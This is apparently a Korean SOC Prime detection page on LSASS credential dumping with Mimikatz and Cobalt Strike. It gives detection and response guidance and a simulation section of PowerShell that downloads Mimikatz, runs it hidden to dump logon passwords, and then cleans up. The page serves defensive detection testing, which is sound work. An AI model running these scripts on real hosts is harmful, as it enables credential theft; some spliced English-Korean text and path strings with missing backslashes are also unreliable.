Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 글은 적대 세력이 Mimikatz 및 Cobalt Strike와 같은 도구를 사용하여 LSASS 프로세스에 접근하여 자격 증명을 추출하는 방법을 설명합니다. 여기에는 LSASS 메모리 덤핑에 관련된 일반적인 Windows API 호출, DLL 및 접근 권한이 포함됩니다. 저자들은 자격 증명 덤핑 탐지 범위를 강화하기 위한 Sysmon 및 기타 EDR 플랫폼의 업데이트된 탐지 쿼리를 공유합니다.
조사
Splunk 위협 연구팀은 Atomic Red Team, Mimikatz, Invoke-Mimikatz 및 Cobalt Strike를 사용하여 LSASS 접근을 에뮬레이션했습니다. 그들은 DLL 로드(dbgcore.dll, dbghelp.dll, ntdll.dll)와 특징적인 GrantedAccess 값을 보여주는 Sysmon 원격 측정을 캡처했습니다. 그리고 이 데이터 셋을 활용하여 특정 접근 권한과 연관된 CallTrace 정보를 상관시키는 탐지 쿼리를 조정했습니다.
완화
lsass.exe에 대한 ProcessAccess 이벤트를 기록하도록 Sysmon 또는 EDR 정책을 조정하고, 알려진 DLL 및 관련 접근 권한에 필터를 적용하며 신뢰할 수 있는 시스템 프로세스를 화이트리스트 처리하십시오. 제공된 쿼리를 사용하여 의심스러운 LSASS 접근 패턴에 대한 경고를 생성하십시오. 새로운 도구 및 기술이 등장할 때 이 규칙을 지속적으로 검토하고 조정하십시오.
응답
탐지가 트리거되면, 시작 프로세스, 관련 사용자 컨텍스트 및 LSASS 접근에 관련된 DLL을 검증하십시오. 영향을 받은 엔드포인트를 격리하고 깊은 포렌식 분석을 위해 메모리를 캡처하며 자격 증명 도난의 증거를 평가하십시오. 프로세스 트리를 검토하여 합법적인 관리 유틸리티를 공격자의 활동과 구분하십시오.
공격 흐름
이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요
알림 설정탐지
HackTool – 일반 프로세스 접근
보기
비정상적인 위치에서의 Dbgcore/Dbghelp DLL 로드 의심
보기
Dbgcore/Dbghelp DLL과 함께 LSASS에 대한 의심스러운 프로세스 접근
보기
Process Access를 통한 LSASS 자격 증명 덤핑 탐지 [Windows Sysmon]
보기
시뮬레이션 실행
전제조건: 원격 측정 및 기준치 사전 점검이 통과하여야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적군 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령어 및 설명은 식별된 TTP를 직접 반영하여 탐지 논리가 기대하는 정확한 원격 측정을 생성해야 합니다.
-
공격 설명 및 명령어:
공격자는 희생자 호스트에서 로컬 관리자 권한을 획득하고 횡적 이동을 위해 자격 증명을 수확하려 합니다. 그들은Mimikatz를 머신에 복사하고 프로세스를DEBUG권한으로 상승시키고sekurlsa::logonPasswords모듈을 호출하여 ntdll.dll을 통한 네이티브 API 호출을 통해 LSASS 메모리를 읽습니다. Sysmon은 이것을 여러 고권한ntdll.dll. Sysmon logs this as a ProcessAccess event with several high‑privilegeGrantedAccess플래그(e.g.,0x0010,0x1400,0x1fffff)가 있는 ProcessAccess 이벤트로 기록합니다. 공격자는 UI 노출을 피하기 위해 숨겨진 PowerShell 세션에서 도구를 실행합니다.# 1. %TEMP%에 Mimikatz 바이너리 드롭 $mkPath = "$env:TEMPmimikatz.exe" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip" Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force # 2. 자격 증명 덤핑 명령어로 Mimikatz 실행 Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait -
회귀 테스트 스크립트:
# ---------------------------------------------------------------------- # LSASS 자격 증명 덤핑 시뮬레이션 – Sigma 규칙 #4e0789a0트리거 # ---------------------------------------------------------------------- # Mimikatz 드롭 (이미 없는 경우) $mkPath = "$env:TEMPmimikatz.exe" if (-Not (Test-Path $mkPath)) { $zip = "$env:TEMPmk.zip" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force Remove-Item $zip -Force } # Mimikatz 실행하여 LSASS 자격 증명 덤핑 $args = 'privilege::debug sekurlsa::logonPasswords exit' Write-Host "[+] LSASS 덤프를 위한 Mimikatz 실행 중..." Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait Write-Host "[+] Mimikatz 실행 완료." # ---------------------------------------------------------------------- -
정리 명령어:
# Mimikatz 바이너리 및 잔여 파일 제거 $mkPath = "$env:TEMPmimikatz.exe" if (Test-Path $mkPath) { Remove-Item $mkPath -Force } $folder = "$env:TEMPmimikatz" if (Test-Path $folder) { Remove-Item $folder -Recurse -Force } Write-Host "정리 완료."
SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀하의 비즈니스와 가장 관련 있는 위협에 대한 가시성을 향상시키세요. 시작하고 즉각적인 가치를 창출하기 위해 지금 SOC Prime 전문가와의 미팅을 예약하세요.
Cookie Settings
You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
| Name | Descripiton |
|---|---|
| PHPSESSID | Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages. |
| sp_i | Used to store information about authenticated User. |
| sp_r | Used to store information about authenticated User. |
| sp_a | Used to store information about authenticated User. |
All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
| Name | Descripiton |
|---|---|
| tuuid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| tuuid_last_update | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| um | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| umeh | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| na_sc_x | Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site. |
| APID | Collects anonymous data related to the user's visits to the website. |
| IDSYNC | Collects anonymous data related to the user's visits to the website. |
| _cc_aud | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_cc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_dc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_id | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| dpm | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| acs | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| clid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| KRTBCOOKIE_# | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PUBMDCID | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PugT | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| ssi | Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads. |
| _tmid | Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips. |
| wam-sync | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| wui | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| AFFICHE_W | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| B | Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor. |
| 1P_JAR | These cookies are used to gather website statistics, and track conversion rates. |
| APISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| HSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| NID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SAPISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SIDCC | Security cookie to protect users data from unauthorised access. |
| SSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| __utmx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
| __utmxx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
If you do not allow these cookies then some or all of these services may not function properly.
| Name | Descripiton |
|---|---|
| _hjid | Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID. |
| _hjIncludedInSample | This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample. |
| intercom-id-[xxx] | This cookie is used by Intercom as a session so that users can continue a chat as they move through the site. |
| intercom-session-[xxx] | Used to keeping track of sessions and remember logins and conversations. |
| demdex | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| CookieConsent | Stores the user's cookie consent state for the current domain. |
| __cfduid | Used by the content network, Cloudflare, to identify trusted web traffic. |
| ss | These cookies enable the website to provide enhanced functionality and
personalisation . They may be set by us or by third party providers whose
services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality . |
They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
| Name | Descripiton |
|---|---|
| _ga | This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners. |
| _gat | Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes. |
| _gid | This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. |
| IDE | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| r/collect | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| test_cookie | Used to check if the user's browser supports cookies. |
| collect | Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels. |
| ads/user-lists/# | These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. |
| c | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| khaos | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| put_# | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpb | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpx | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| tap.php | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |